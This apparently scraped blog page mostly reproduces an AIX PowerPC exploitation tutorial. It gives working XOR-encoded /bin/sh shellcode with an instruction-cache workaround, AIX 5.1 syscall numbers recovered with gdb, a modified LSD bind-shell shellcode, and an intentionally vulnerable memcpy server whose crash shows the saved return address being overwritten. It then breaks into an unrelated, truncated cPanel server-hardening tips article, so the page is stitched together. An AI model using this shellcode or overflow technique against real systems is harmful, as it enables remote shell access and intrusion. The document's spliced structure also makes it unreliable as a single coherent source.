"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}

The first part is decoder. r3 points to the address of the front of real shellcode. r9 is the counter, whose size is one more than real shellcode. It will do xor operate from last byte of real shellcode. When I run the program in gdb, I find the following problem:

(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 : addi r3,r3,29
0x2000041c : stw r3,-8(r1)
0x20000420 : stw r5,-4(r1)
0x20000424 : addi r4,r1,-8
0x20000428 : li r2,5
0x2000042c : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 : sc
0x20000434 : cmpdi cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0x3863001d 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428 : 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438 : 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)

The program halts at 0x20000418, and the instruction is "addi r3,r3,29". This instruction has no problem, and all of real shellcode seems decoded correctly, but the shellcode failed. When I break at 0x20000418, it is in different way after run:

(gdb) b *0x20000418
Breakpoint 1 at 0x20000418
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 : lfsu f20,-285(r29)
0x2000041c : stw r3,-8(r1)
0x20000420 : stw r5,-4(r1)
0x20000424 : addi r4,r1,-8
0x20000428 : li r2,5
0x2000042c : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 : sc
0x20000434 : cmpdi cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0xc69dfee3 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428 : 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438 : 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)

I found that the content of address 0x20000418 wasn't decoded. It was strange! I discussed it with watercloud and alert7, and they said it might be instruction cache or branch prediction. We found a discussion by google: AIX has instruction cache and data cache. When execution begins, the instructions are fetched from the instruction cache -- which isn't always the same as what you put into the data cache. So, a normal xor decoder won't work. "A developer's guide to the PowerPC architecture" introduced self-modifying code. While writing self-modifying code is not a recommended practice, sometimes it is absolutely necessary. The following sequence shows the instructions used to perform a code modification: 1. Store the modified instruction. 2. Issue the dcbst instruction to force the cache line containing the modified instruction to storage. 3. Issue the sync instruction to ensure dcbst is completed. 4. Issue the icbi instruction to invalidate the instruction cache line that will contain the modified instruction. 5. Issue the isync instruction to clear the instruction pipeline of any instruction that may have already been fetched from the cache line prior to the cache line being invalidated. 6. It is now okay to execute the modified instruction. An instruction cache miss will occur when fetching this instruction, resulting in the fetching of the modified instruction from storage. H D Moore send me a sample on MacOSX, but these is a big problem on my box. OK, my AIX box like below:

bash-2.05b$ uname -a
AIX aix5 1 5 001381144C00
bash-2.05b$ lsattr -El proc0
state enable Processor state False
type PowerPC_604 Processor type False
frequency 232649620 Processor Speed False

So sadly, My box doesn't support cache instructions.

bash-2.05b$ cat testasm.s
.globl .main
.csect .text[PR]
.main:
icbi %r6, %r13
dcbf %r6, %r13

bash-2.05b$ gcc testasm.s
testasm.s: Assembler messages:
testasm.s:4: Error: Unrecognized opcode: `icbi'
testasm.s:5: Error: Unrecognized opcode: `dcbf'
bash-2.05b$ /usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM.
testasm.s: line 5: 1252-142 Syntax error.

Neither GNU's as and system's as cann't recognized these cache instructions. sync and isync were supported.

-bash-2.05b$ cat test.c
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x2e" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop

"\x7c\x00\x04\xac" // sync
"\x4c\x00\x01\x2c" // isync

// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}

I run this program in gdb direct to check sync and isync whether they work well.

(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 : sync
0x2000041c : isync
0x20000420 : addi r3,r3,29
0x20000424 : stw r3,-8(r1)
0x20000428 : stw r5,-4(r1)
0x2000042c : addi r4,r1,-8
0x20000430 : li r2,5
0x20000434 : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0x7c0004ac 0x4c00012c 0x3863001d 0x9061fff8
0x20000428 : 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438 : 0x44000002 0x2f62696e 0x2f736800 0x00000000

The program crashed at 0x20000420 too. I took a breakpoint at 0x20000420 first:

(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 : sync
0x2000041c : isync
0x20000420 : lfsu f20,-285(r29)
0x20000424 : stw r3,-8(r1)
0x20000428 : stw r5,-4(r1)
0x2000042c : addi r4,r1,-8
0x20000430 : li r2,5
0x20000434 : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 : 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 : 0x7c0004ac 0x4c00012c 0xc69dfee3 0x9061fff8
0x20000428 : 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438 : 0x44000002 0x2f62696e 0x2f736800 0x00000000
(gdb)

Instruction at 0x20000420 didn't decode! sync and isync have no effect. When I take a breakpoint at isync instruction, it works well too.

(gdb) b *0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x2000041c in shellcode ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb) c
Continuing.
$ exit

Program exited normally. Phil of 0dd showed his experience on ARM chip development. He said syscall interrupt can flush instruction cache. So I modified my shellcode as follows:

char shellcode[] =
// decoder
"\x7d\xce\x72\x79" // xor. %r14, %r14, %r14
"\x40\x82\xff\xfd" // bnel .main
"\x7d\xe8\x02\xa6" // mflr %r15
"\x39\xef\x01\x01" // addi %r15, %r15, 0x101
"\x39\xef\xff\x37" // addi %r15, %r15, -0xC9 # r15 point to start of real shellcode
"\x3a\x20\x01\x01" // li %r17, 0x101
"\x38\x51\xff\xe1" // addi %r2, %r17, -0x1F # r2=0xe2 syscall number of sync.
"\x3a\x31\xff\x2f" // addi %r17, %r17, -0xD1 # shellcode size

"\x7e\x51\x78\xae" // lbzx %r18, %r17, %r15 # read a character
"\x6a\x53\xfe\xfe" // xori %r19, %r18, 0xFEFE # xor
"\x7e\x71\x79\xae" // stbx %r19, %r17, %r15 # store a character
"\x36\x31\xff\xff" // subic. %r17, %r17, 1
"\x40\x80\xff\xf0" // bne Loop # loop

"\x4c\xc6\x33\x42" // crorc %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6" // mtlr %r15 # lr=real shellcode address
"\x44\xff\xff\x02" // svca 0

// real shellcode
"\xc6\x91\xfe\xde" // addi %r3, %r15, 32
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x83\x3b\x8d\x86" // mr %r5, %r14
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}

-bash-2.05b$ ./test_3
$ id
uid=202(san) gid=1(staff)
$ exit
-bash-2.05b$

It runs well. After syscall, the system executes lr register and the instruction will not be cache. So inserting a syscall before real shellcode is the way to resolve I-cache problem.

--[ 7 - How to debug remote overflow LSD provided some remote shellcodes from UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes.

The following C program describes a simple bind port function.

-bash-2.05b$ cat bind.c
#include 
#include 
#include 
#include 

int soc,cli,i;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x1234;
soc=socket(2,1,0);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,5);
cli=accept(soc,0,0);

for (i=2;i>=0;i--) {
close(i);
kfcntl(cli, 0, i);
}

execve("/bin/sh", 0, 0);
}

kfcntl syscall is the last call of dup2 on AIX. -bash-2.05b$ gdb bind GNU gdb 6.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-ibm-aix5.1.0.0"... (gdb) disas main Dump of assembler code for function main:

0x10000534 : mflr r0
0x10000538 : stw r31,-4(r1)
0x1000053c : stw r0,8(r1)
0x10000540 : stwu r1,-72(r1)
0x10000544 : mr r31,r1
0x10000548 : lwz r9,108(r2)
0x1000054c : li r0,2
0x10000550 : stb r0,1(r9)
0x10000554 : lwz r9,108(r2)
0x10000558 : li r0,0
0x1000055c : stw r0,4(r9)
0x10000560 : lwz r9,108(r2)
0x10000564 : li r0,4660
0x10000568 : sth r0,2(r9)
0x1000056c : li r3,2
0x10000570 : li r4,1
0x10000574 : li r5,0
0x10000578 : bl 0x1000734c 
0x1000057c : lwz r2,20(r1)
0x10000580 : mr r0,r3
0x10000584 : lwz r9,112(r2)
0x10000588 : stw r0,0(r9)
0x1000058c : lwz r9,112(r2)
0x10000590 : lwz r3,0(r9)
0x10000594 : lwz r4,108(r2)
0x10000598 : li r5,16
0x1000059c : bl 0x10007448 
0x100005a0 : lwz r2,20(r1)
0x100005a4 : lwz r9,112(r2)
0x100005a8 : lwz r3,0(r9)
0x100005ac : li r4,5
0x100005b0 : bl 0x1000746c 
0x100005b4 : lwz r2,20(r1)
0x100005b8 : lwz r9,112(r2)
0x100005bc : lwz r3,0(r9)
0x100005c0 : li r4,0
0x100005c4 : li r5,0
0x100005c8 : bl 0x10007394 
0x100005cc : lwz r2,20(r1)
0x100005d0 : mr r0,r3
0x100005d4 : lwz r9,116(r2)
0x100005d8 : stw r0,0(r9)
0x100005dc : lwz r9,120(r2)
0x100005e0 : li r0,2
0x100005e4 : stw r0,0(r9)
0x100005e8 : lwz r9,120(r2)
0x100005ec : lwz r0,0(r9)
0x100005f0 : cmpwi r0,0
0x100005f4 : bge- 0x100005fc 
0x100005f8 : b 0x10000640 
0x100005fc : lwz r9,120(r2)
0x10000600 : lwz r3,0(r9)
0x10000604 : bl 0x100074b4 
0x10000608 : lwz r2,20(r1)
0x1000060c : lwz r9,116(r2)
0x10000610 : lwz r11,120(r2)
0x10000614 : lwz r3,0(r9)
0x10000618 : li r4,0
0x1000061c : lwz r5,0(r11)
0x10000620 : bl 0x100074d8 
0x10000624 : lwz r2,20(r1)
0x10000628 : lwz r11,120(r2)
0x1000062c : lwz r9,120(r2)
0x10000630 : lwz r9,0(r9)
0x10000634 : addi r0,r9,-1
0x10000638 : stw r0,0(r11)
0x1000063c : b 0x100005e8 
0x10000640 : lwz r3,124(r2)
0x10000644 : li r4,0
0x10000648 : li r5,0
0x1000064c : bl 0x10007328 
0x10000650 : lwz r2,20(r1)
0x10000654 : mr r3,r0
0x10000658 : lwz r1,0(r1)
0x1000065c : lwz r0,8(r1)
0x10000660 : mtlr r0
0x10000664 : lwz r31,-4(r1)
0x10000668 : blr
0x1000066c : .long 0x0
0x10000670 : .long 0x2061
0x10000674 : lwz r0,1(r1)
0x10000678 : .long 0x138
0x1000067c : .long 0x46d61
0x10000680 : xori r14,r11,7936
End of assembler dump.

GDB displays entry address of all the functions, and we take breakpoints on these addresses.

(gdb) b *0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b *0x10007448
Breakpoint 2 at 0x10007448
(gdb) b *0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b *0x10007394
Breakpoint 4 at 0x10007394
(gdb) b *0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b *0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b *0x10007328
Breakpoint 7 at 0x10007328

When the program runs, gdb will break into these functions, so we can obtain syscall numbers of these functions.

(gdb) r
Starting program: /home/san/bind

Breakpoint 1, 0x1000734c in socket ()
(gdb) x/8i $pc
0x1000734c : lwz r12,4(r2)
0x10007350 : stw r2,20(r1)
0x10007354 : lwz r0,0(r12)
0x10007358 : lwz r2,4(r12)
0x1000735c : mtctr r0
0x10007360 : bctr
0x10007364 : .long 0x0
0x10007368 : .long 0xc8000
(gdb) si
0x10007350 in socket ()
(gdb)
0x10007354 in socket ()
(gdb)
0x10007358 in socket ()
(gdb)
0x1000735c in socket ()
(gdb) p/x $r2
$1 = 0x8d
(gdb) c
Continuing.

Breakpoint 2, 0x10007448 in bind ()
(gdb) x/8i $pc
0x10007448 : lwz r12,32(r2)
0x1000744c : stw r2,20(r1)
0x10007450 : lwz r0,0(r12)
0x10007454 : lwz r2,4(r12)
0x10007458 : mtctr r0
0x1000745c : bctr
0x10007460 : .long 0x0
0x10007464 : .long 0xc8000
(gdb) si
0x1000744c in bind ()
(gdb)
0x10007450 in bind ()
(gdb)
0x10007454 in bind ()
(gdb)
0x10007458 in bind ()
(gdb) p/x $r2
$2 = 0x8c
(gdb) c
Continuing.

Breakpoint 3, 0x1000746c in listen ()
(gdb) x/8i $pc
0x1000746c : lwz r12,36(r2)
0x10007470 : stw r2,20(r1)
0x10007474 : lwz r0,0(r12)
0x10007478 : lwz r2,4(r12)
0x1000747c : mtctr r0
0x10007480 : bctr
0x10007484 : .long 0x0
0x10007488 : .long 0xc8000
(gdb) si
0x10007470 in listen ()
(gdb)
0x10007474 in listen ()
(gdb)
0x10007478 in listen ()
(gdb)
0x1000747c in listen ()
(gdb) p/x $r2
$5 = 0x8b
(gdb) c
Continuing.

Breakpoint 4, 0x10007394 in naccept ()
(gdb) x/8i $pc
0x10007394 : lwz r12,12(r2)
0x10007398 : stw r2,20(r1)
0x1000739c : lwz r0,0(r12)
0x100073a0 : lwz r2,4(r12)
0x100073a4 : mtctr r0
0x100073a8 : bctr
0x100073ac : .long 0x0
0x100073b0 : .long 0xc8000
(gdb) si
0x10007398 in naccept ()
(gdb)
0x1000739c in naccept ()
(gdb)
0x100073a0 in naccept ()
(gdb)
0x100073a4 in naccept ()
(gdb) p/x $r2
$6 = 0x8a
(gdb) c
Continuing.

Breakpoint 5, 0x100074b4 in close ()
(gdb) x/8i $pc
0x100074b4 : lwz r12,44(r2)
0x100074b8 : stw r2,20(r1)
0x100074bc : lwz r0,0(r12)
0x100074c0 : lwz r2,4(r12)
0x100074c4 : mtctr r0
0x100074c8 : bctr
0x100074cc : .long 0x0
0x100074d0 : .long 0xc8000
(gdb) si
0x100074b8 in close ()
(gdb)
0x100074bc in close ()
(gdb)
0x100074c0 in close ()
(gdb)
0x100074c4 in close ()
(gdb) p/x $r2
$7 = 0xa0
(gdb) c
Continuing.

Breakpoint 6, 0x100074d8 in kfcntl ()
(gdb) x/8i $pc
0x100074d8 : lwz r12,48(r2)
0x100074dc : stw r2,20(r1)
0x100074e0 : lwz r0,0(r12)
0x100074e4 : lwz r2,4(r12)
0x100074e8 : mtctr r0
0x100074ec : bctr
0x100074f0 : .long 0x0
0x100074f4 : .long 0xc8000
(gdb) si
0x100074dc in kfcntl ()
(gdb)
0x100074e0 in kfcntl ()
(gdb)
0x100074e4 in kfcntl ()
(gdb)
0x100074e8 in kfcntl ()
(gdb) p/x $r2
$1 = 0x142

(gdb) c
Continuing.

Breakpoint 7, 0x10007328 in execve ()
(gdb) x/8i $pc
0x10007328 : lwz r12,0(r2)
0x1000732c : stw r2,20(r1)
0x10007330 : lwz r0,0(r12)
0x10007334 : lwz r2,4(r12)
0x10007338 : mtctr r0
0x1000733c : bctr
0x10007340 : .long 0x0
0x10007344 : .long 0xc8000
(gdb) si
0x1000732c in execve ()
(gdb)
0x10007330 in execve ()
(gdb)
0x10007334 in execve ()
(gdb)
0x10007338 in execve ()
(gdb) p/x $r2
$9 = 0x5

OK, we found the syscall numbers in AIX 5.1 that we needed.

socket=0x8d
bind=0x8c
listen=0x8b
naccept=0x8a
close=0xa0
kfcntl=0x142
execve=0x05

We modify a little of LSD's shellcode.

char lsd[] =
"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
"\x40\x82\xff\xfd" /* bnel  */
"\x7e\xa8\x02\xa6" /* mflr r21 */
"\x3a\xc0\x01\xff" /* lil r22,0x1ff */
"\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */
"\x7e\xb5\xba\x14" /* cax r21,r21,r23 */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */

"\x05\x82\x53\xa0" /* syscall numbers */
"\x87\xa0\x01\x42" /* execve=0x05 close=0xa0 */
"\x8d\x8c\x8b\x8a" /* socket=0x8d bind=0x8c */
/* listen=0x8b naccept=0x8a */
/* kfcntl=0x142 */

"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca 0x0 */
"\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */

"\x2c\x74\x12\x34" /* cmpi cr0,r20,0x1234 */
"\x41\x82\xff\xfd" /* beql  */
"\x7f\x08\x02\xa6" /* mflr r24 */
"\x92\x98\xff\xfc" /* st r20,-4(r24) */
"\x38\x76\xfe\x03" /* cal r3,-509(r22) */
"\x38\x96\xfe\x02" /* cal r4,-510(r22) */
"\x98\x78\xff\xf9" /* stb r3,-7(r24) */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x88\x55\xff\xfc" /* lbz r2,-4(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x79\x1b\x78" /* mr r25,r3 */
"\x38\x98\xff\xf8" /* cal r4,-8(r24) */
"\x38\xb6\xfe\x11" /* cal r5,-495(r22) */
"\x88\x55\xff\xfd" /* lbz r2,-3(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x38\x96\xfe\x06" /* cal r4,-506(r22) */
"\x88\x55\xff\xfe" /* lbz r2,-2(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x7e\x84\xa3\x78" /* mr r4,r20 */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x88\x55\xff\xff" /* lbz r2,-1(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x79\x1b\x78" /* mr r25,r3 */
"\x3b\x56\xfe\x03" /* cal r26,-509(r22) */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x88\x55\xff\xf7" /* lbz r2,-9(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x7e\x84\xa3\x78" /* mr r4,r20 */
"\x7f\x45\xd3\x78" /* mr r5,r26 */
"\xa0\x55\xff\xfa" /* lhz r2,-6(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x37\x5a\xff\xff" /* ai. r26,r26,-1 */
"\x40\x80\xff\xd4" /* bge  */

"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel  */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x55\xff\xf4" /* lbz r2,-12(r21) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"/bin/sh"
; 

int main() {
int jump[2]={(int)lsd,0};
((*(void (*)())jump)());
}

It seems good, let's try remote overflow.

/* server.c - overflow demo
*
* 2004.06.16
* san@nsfocus.com
*/

#include 
#include 
#include 
#include 

char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
//strcpy(s1,s);
memcpy(s1, s, size);
// There must be a syscall after overflow at least, otherwise I-cache will afflict you. ;-)
sync();
}

int main(int argc, char *argv[])
{
int s, c, ret, lBytesRead;
struct sockaddr_in srv;

s = socket(AF_INET, SOCK_STREAM, 0);
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons(4444);
srv.sin_family = AF_INET;

bind(s, &srv, sizeof(srv));
listen(s, 3);

c = accept(s,NULL,NULL);

while(1)
{
lBytesRead = recv(c, Buff, 1024, 0);
if(lBytesRead<=0) break;

printf("fd = %x recv %d bytes\n", c, lBytesRead);
overflow(Buff, lBytesRead); 

ret=send(c,Buff,lBytesRead,0);
if(ret<=0) break;
}

close(s);
close©;
}

The debugs in remote and local buffer overflow are not different, and the key is to find the overflow point. You may need construct various network data structures in remote overflow. The following is the debug process that uses gdb to find return address and the overflow buffer size. -bash-2.05b$ gdb server GNU gdb 6.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-ibm-aix5.1.0.0"... (gdb) r Starting program: /home/san/server Client connect to server and send overrun data. -bash-2.05b$ telnet localhost 4444 Trying... Connected to localhost. Escape character is '^]'. ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD Server side will receive a Segmentation fault. Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) x/8x $r1 0x2ff22b58: 0x41424344 0x41424344 0x41424344 0x0d0a6648 0x2ff22b68: 0x00000000 0x20001000 0x20001110 0x0000005e We must overwrite r1+8 that the value of lr register after function return. Then, all of the register like below:

(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22b58 804399960
r2 0x20001000 536875008
r3 0x1757180 24473984
r4 0x0 0
r5 0x2ff22ffc 804401148
r6 0xd032 53298
r7 0x0 0
r8 0x60000000 1610612736
r9 0x600045f0 1610630640
r10 0x0 0
r11 0x60003bca 1610628042
r12 0x2ff3b400 804500480
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c08 804400136
r16 0x2ff22c10 804400144
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000640 536872512
r29 0x10000000 268435456
r30 0x3 3
r31 0x41424344 1094861636
pc 0x41424344 1094861636
ps 0x4000d032 1073795122
cr 0x2a222828 706881576
lr 0x41424344 1094861636
ctr 0x0 0
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0

Tutorial How to Exploit Can U get on here : black-mygo.blogspot.com

Read more »

10 TIPS FOR TUNE AND SECURE YOUR CPANEL SERVER

In the tutorial below, who is an article I read before I created a hosting business. very helpful

Please note that these tips are suggestions only and cPanel takes no responsibility for modifications to individual servers, or the security practices of individual servers. Server security is a collection of compromises, as any server that allows connections could be insecure. These tips are to be followed at your own risk.

1. Use secure passwords!


Insecure passwords are the most common security vulnerability for most servers. If an account password is insecure and is compromised, client sites can be defaced, infected, or used to spread viruses. Having secure passwords is paramount to having a secure server.
You can edit /etc/login.defs to configure many password options on your system. It is well do*****ented.
Generally, a password utilizing at least 8 characters including alphanumeric and grammatical symbols is sufficient. Never use passwords based upon dictionary words or significant dates. If you are uncertain about the security of a password, then you can test it using JTR cracker. If a password can be broken in a few hours, then it is probably too insecure and should not be used. You can also install tools like pam_passwdqc to check the strength of passwords.

2. Secure SSH


Enable public key authentication for SSH and disable password authentication read more >>http://www.cpanel.net/security/publickeyauth.htm
Move SSH access to a different port. People are looking for port 22 as a possible way to access your servers. Moving SSH to a different port will add a simple way to deter those without specific knowledge of your server from easily discovering your SSH port.
You can modify the port that SSH runs on within /etc/ssh/sshd_config. Change the line that says #Port 22 to a different port such as: Port 1653. Make sure to keep your current SSH session open when testing the new port so you can change back to port 22 if the new port doesn’t work.
You should always use SSHv2 only as SSHv1 is not secure. Make sure to change the line in /etc/ssh/sshd_config that says #Protocol 2,1 to Protocol 2.
You may also wish to set Shell Resource Limits for you users to prevent applications and scripts from using all up your resources and taking down your server. You can configure shell resource limits in /etc/security/limits.conf on most Linux systems.

3. Secure Apache


The most readily available way to access a web server, is of course, the web server application. It is important to take steps to secure your Apache installation.
One of the best tools for preventing malicious Apache use is mod_security. This can be installed in Addon Modules in the cPanel section of WebHost Manager. You can find information about mod_security at http://www.modsecurity.org/.
When compiling Apache, you should include suexec to ensure that CGI applications and scripts run as the user that owns / executes them. This will help identify where malicious scripts are and who is running them. It will also enforce permission and environment controls.
We also recommend compiling Apache + PHP with PHPsuexec. PHPsuexec forces all PHP scripts to run as the user who owns the script. This means that you will be able to identify the owner of all PHP scripts running on your server. If one is malicious, you will be able to find it’s owner quickly and resolve the issue. To compile Apache + PHP with PHPsuexec, select the PHPSuexec option in the Apache Upgrade interface in WHM or when running /scripts/easyapache from the command line.
You should enable PHP’s open_basedir protection. This protection will prevent users from open files outside of their home directory with PHP. This can be enabled in Tweak Security within WebHost Manager.
You may also wish to include safe_mode for PHP 5.x and below. Safe_mode ensures that the owner of a PHP script matches the owner of any files to be operated on. You can enable safe_mode by changing the safe_mode = line in php.ini to safe_mode = On.

4. Secure your /tmp partition


We recommend that you use a separate partition for /tmp that is mounted with nosetuid. Nosetuid will force a process to run with the privileges of it’s executor. You may also wish to mount /tmp with noexec after installing cPanel. Check the mount man page for more information.
Also, Running /scripts/securetmp will mount your /tmp partition to a temporary file for extra security.

5. Upgrade your mail to maildir format


